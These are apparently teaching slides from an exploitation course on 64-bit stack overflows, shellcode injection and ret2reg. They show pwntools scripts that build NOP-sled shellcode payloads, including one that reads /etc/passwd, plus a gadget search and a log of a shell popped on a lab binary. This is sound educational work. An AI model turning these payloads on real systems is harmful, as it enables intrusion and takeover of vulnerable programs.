64 Bit, Shellcode, and Ret2Reg

Introduction

Introduction

  • Continue building Pwntools knowledge
  • Start to defeat some protections

Topics

  • Going 64 Bit
  • Classic Shellcode
  • Ret2Reg

64 Bit Exploits

64 Bit Memory

  • Memory addresses are 64 Bit
  • Only 47 Bits are user addressable
  • Anything over 0x00007fffffffffff raises exception

64 Bit Problems

  • Main Issue (at the moment) is finding Offset to IP
  • Write n*‘A’ get 0x41414141…..
  • Goes beyond the 0x00007….. Address allowed

Finding IP in 64 Bit

────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "a.out", stopped 0x4011fb in copyData (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011fb → copyData()
───────────────────────────────────────────────────────────────────────────────────────
gef➤  x $rip
0x4011fb <copyData+133>:        0x894855c3
gef➤  

Finding IP

  • Make use of the say the stack frame is setup
    • SP may point directly to the address
    • BP may point to -4 / -8 bits

Confirming

  • We confirm by using OFFSET + “BBBB”
  • If 0x42424242 ends in IP we are good to go

Demo

Demo

Classic Overflow

Classic Overflow

  • Shellcode Injection
  • Aleph One Style

Classic Overflow

  • Compile with following:
    • No PIE
    • No Canaries
    • Executable Stack

Classic Approach

Inject

Classic Pwn Script

from pwn import *

#Binary we are Exploiting
TARGET = "ret2reg"

# Setting the Context means Shellcode will be generated correctly
context.binary = TARGET

Finding the Offset

DEMO CODING

Confirm Offset

from pwn import *

TARGET = "./ret2reg"

# Setting the Context means Shellcode will be generated correctly
context.binary = TARGET

#Calculate offset
OFFSET_STR = 0x62616176
OFFSET = cyclic_find(OFFSET_STR)

#Start Process
p = process(TARGET)

# Connect via GDB
pause()

#Fill Buffer with A's  IP should be BBBB
payload = b"A"*OFFSET
payload += b"BBBB"

#Send data and wait
p.writeline(payload)

p.interactive()

Shellcode

Shellcode

  • So Called as it drops a shell (or does other stuff)
  • Generated using the shellcraft functionality in pwn tools

Shellcode

  • Pwntools Shellcraft
  • MSFVenom
  • Shellstorm
  • Hand Rolled

Shellcode

#Important, otherwise we get 32 bit Code
context.binary = TARGET

# /bin/sh shellcodes
shellcode = shellcraft.sh()

#Or run a command
shell = shellcraft.execve(path="/bin/cat", argv=["/bin/cat", "/etc/passwd"])

Things to Check

# Check the size of the code.
In [3]: len(asm(shell))
Out[3]: 44

# Look for Magic Bytes
In [6]: print(enhex(asm(shell)))
6a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a0b58cd80

Building Payload

Payload Concept

Building Payload

#Store NOP
NOP = asm(shellcraft.nop())

#NOPS Below Shell
payload = NOP*51

#Payload itself
payload += asm(shellcraft.sh())

# Fill the rest of buffer with NOP
payload = payload.ljust(OFFSET, NOP)

Calculating Jump Address

Calculating Jump Address

  • We Need an address to jump to
  • “Traditionally” work out the structure of the stack to get address
  • ASLR prevents this

Calculate Jump Address

  • With ASLR turned off.
  • Look at addresses in GDB

Turn off ASLR in PWN

#Start Process
p = process(TARGET, aslr=False)

Test with “BBBB” in IP

#Payload itself
payload += asm(shellcraft.sh())

# Fill the rest of buffer with NOP
payload = payload.ljust(OFFSET, NOP)

payload += b"BBBB"

Get Address from GDB

─────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf20│+0x0000: 0x9090909090909090   ← $rsp
0x00007fffffffdf28│+0x0008: 0x9090909090909090
0x00007fffffffdf30│+0x0010: 0x9090909090909090
0x00007fffffffdf38│+0x0018: 0x9090909090909090

Update Payload

NOP = b"\x90"
NOP = asm(shellcraft.nop())
payload = NOP*80
payload += asm(shellcraft.sh())
payload = payload.ljust(OFFSET, NOP)

log.info("Payload length %s", len(payload))
payload +=p64(0x00007fffffffdf20)

Win

dang@danglaptop ~/Github/Teaching/6048_Labs/Ret2Reg/demo$ python solve.py
[*] '/home/dang/Github/Teaching/6048_Labs/Ret2Reg/demo/ret2reg'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] OFFSET is 184
[!] Could not find executable 'ret2reg' in $PATH, using './ret2reg' instead
[+] Starting local process './ret2reg': pid 24416
[!] ASLR is disabled!
[*] Paused (press any to continue)
[*] Payload length 184
[*] Switching to interactive mode
--- Overflow the Buffer ---
What is your input >You entered >\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90jhH\xb8/bin///sPH\x89\xe7hri\x814$1\xf6V^H\xe6VH\x89\xe61\xd2j;X\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \xdf\xff\xff\xff\x7f<
$ 
$ id
uid=1000(dang) gid=1000(dang) groups=1000(dang),56(bumblebee),977(docker),987(uucp),998(wheel)
$

Ret2Reg

Ret2Reg

  • Problems:
    • ASLR randomises hard coded address
  • Solution:
    • Try to find address in another way

Ret2Reg

  • Payload location is stored in registers
  • Find a call in Binary to go to the register location

Ret2Reg

Ret2Reg

Ret2Reg

  • Find Registers in GDB
  • Look for ASM instructions in binary
$ objdump -D ret2reg| grep ax  | grep call
401014:       ff d0                   call   *%rax
402073:       ff 9c 00 00 00 b0 f1    lcall  *-0xe500000(%rax,%rax,1)

Ret2Reg

  • Update Payload and Win

Summary

64 Bit

  • Mostly around finding IP
    • Use SP / BP
  • Other Differences Later.

Classic Overflows

  • Stick exploit in our buffer
  • Jump back to payload using IP
  • Needs NX turned off

Ret2Reg

  • One approach to deal with ASLR in Classic
  • Jump to Register using a static assembly call.

Tasks

  • Replicate the exploits
// reveal.js plugins